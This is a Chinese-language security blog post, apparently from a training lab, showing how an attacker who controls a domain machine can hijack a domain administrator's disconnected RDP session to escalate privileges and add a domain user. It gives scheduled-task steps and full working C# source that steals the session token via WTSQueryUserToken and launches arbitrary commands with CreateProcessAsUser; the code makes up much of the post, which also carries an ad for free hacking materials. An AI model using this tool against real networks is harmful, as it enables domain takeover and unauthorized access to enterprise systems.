利用斷開的域管理員RDP會話提權

蚁景网安实验室發表於2024-12-05

前言

當域內管理員登入過攻擊者可控的域內普通機器運維或者排查結束後,退出3389時沒有退出賬號而是直接關掉了遠端桌面,那麼會產生哪些風險呢?有些讀者第一個想到的肯定就是抓密碼,但是如果抓不到明文密碼又或者無法pth呢?

透過計劃任務完成域內提權

首先模擬域管登入了攻擊者可控的普通域內機器並且關掉了3389遠端桌面:

17327790847792.jpg

然後攻擊者可以透過如下方式進行域內提權,已新增域內使用者為例,流程為新建計劃任務-選擇域管使用者-執行命令:

選擇搜尋使用者位置為域內:

17327796591422.jpg

選擇登入進來的域管使用者:

17327791670978.jpg

設定啟動的命令:

17327792343287.jpg

然後執行計劃任務,可以看到成功新增了域內使用者:

17327793214799.jpg

有些讀者可能會問了,那是不是選擇任意域內使用者都行,實際上是不行的,會提示使用者未登入:

17327792859107.jpg

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

原理分析

原理實際上也很簡單,就是獲取程序的token,然後利用CreateProcessAsUser api完成模擬使用者token進行程序建立即可。下面提供完整程式碼,如下程式碼核心是利用WTSQueryUserToken獲取rdp session id token,然後使用CreateProcessAsUser完成程序的建立:

using System;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Security.Principal;
​
class Program
{
    [DllImport("wtsapi32.dll", SetLastError = true)]
    static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);
​
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
​
    [DllImport("userenv.dll", SetLastError = true)]
    static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
​
    [DllImport("userenv.dll", SetLastError = true)]
    static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
​
    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool CreateProcessAsUser(
        IntPtr hToken,
        string lpApplicationName,
        string lpCommandLine,
        IntPtr lpProcessAttributes,
        IntPtr lpThreadAttributes,
        bool bInheritHandles,
        uint dwCreationFlags,
        IntPtr lpEnvironment,
        string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);
​
    [StructLayout(LayoutKind.Sequential)]
    struct STARTUPINFO
    {
        public int cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
​
    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }
​
    static void Main(string[] args)
    {
        if (args.Length < 2)
        {
            Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");
            return;
        }
​
        int sessionId;
        if (!int.TryParse(args[0], out sessionId))
        {
            Console.WriteLine("Invalid session ID");
            return;
        }
​
        string command = args[1];
        IntPtr userToken = IntPtr.Zero;
        IntPtr envBlock = IntPtr.Zero;
​
        try
        {
            // Get user token for the specified session
            bool tokenResult = WTSQueryUserToken(sessionId, out userToken);
            if (!tokenResult)
            {
                int error = Marshal.GetLastWin32Error();
                throw new Win32Exception(error);
            }
​
            // Create environment block
            bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);
            if (!envResult)
            {
                int error = Marshal.GetLastWin32Error();
                throw new Win32Exception(error);
            }
​
            // Prepare startup info
            STARTUPINFO startupInfo = new STARTUPINFO();
            startupInfo.cb = Marshal.SizeOf(startupInfo);
            startupInfo.lpDesktop = "winsta0\\default";
​
            PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
​
            // Create process as user
            bool processResult = CreateProcessAsUser(
                userToken,
                null,
                command,
                IntPtr.Zero,
                IntPtr.Zero,
                false,
                0x00000400, // CREATE_UNICODE_ENVIRONMENT
                envBlock,
                null,
                ref startupInfo,
                out processInfo);
​
            if (!processResult)
            {
                int error = Marshal.GetLastWin32Error();
                throw new Win32Exception(error);
            }
​
            Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);
​
            // Clean up process handles
            CloseHandle(processInfo.hProcess);
            CloseHandle(processInfo.hThread);
        }
        catch (Exception ex)
        {
            Console.WriteLine("Error: {0}", ex.Message);
        }
        finally
        {
            // Clean up resources
            if (envBlock != IntPtr.Zero)
            {
                DestroyEnvironmentBlock(envBlock);
            }
            if (userToken != IntPtr.Zero)
            {
                CloseHandle(userToken);
            }
        }
    }
}

編譯後進行嘗試:

17327794964667.jpg

17327796139010.jpg

成功完成了token竊取並新增了域內使用者。

總結

本文透過演示竊取RDP Session Token完成域內提權的目的。

更多網安技能的線上實操練習,請點選這裡>>

相關文章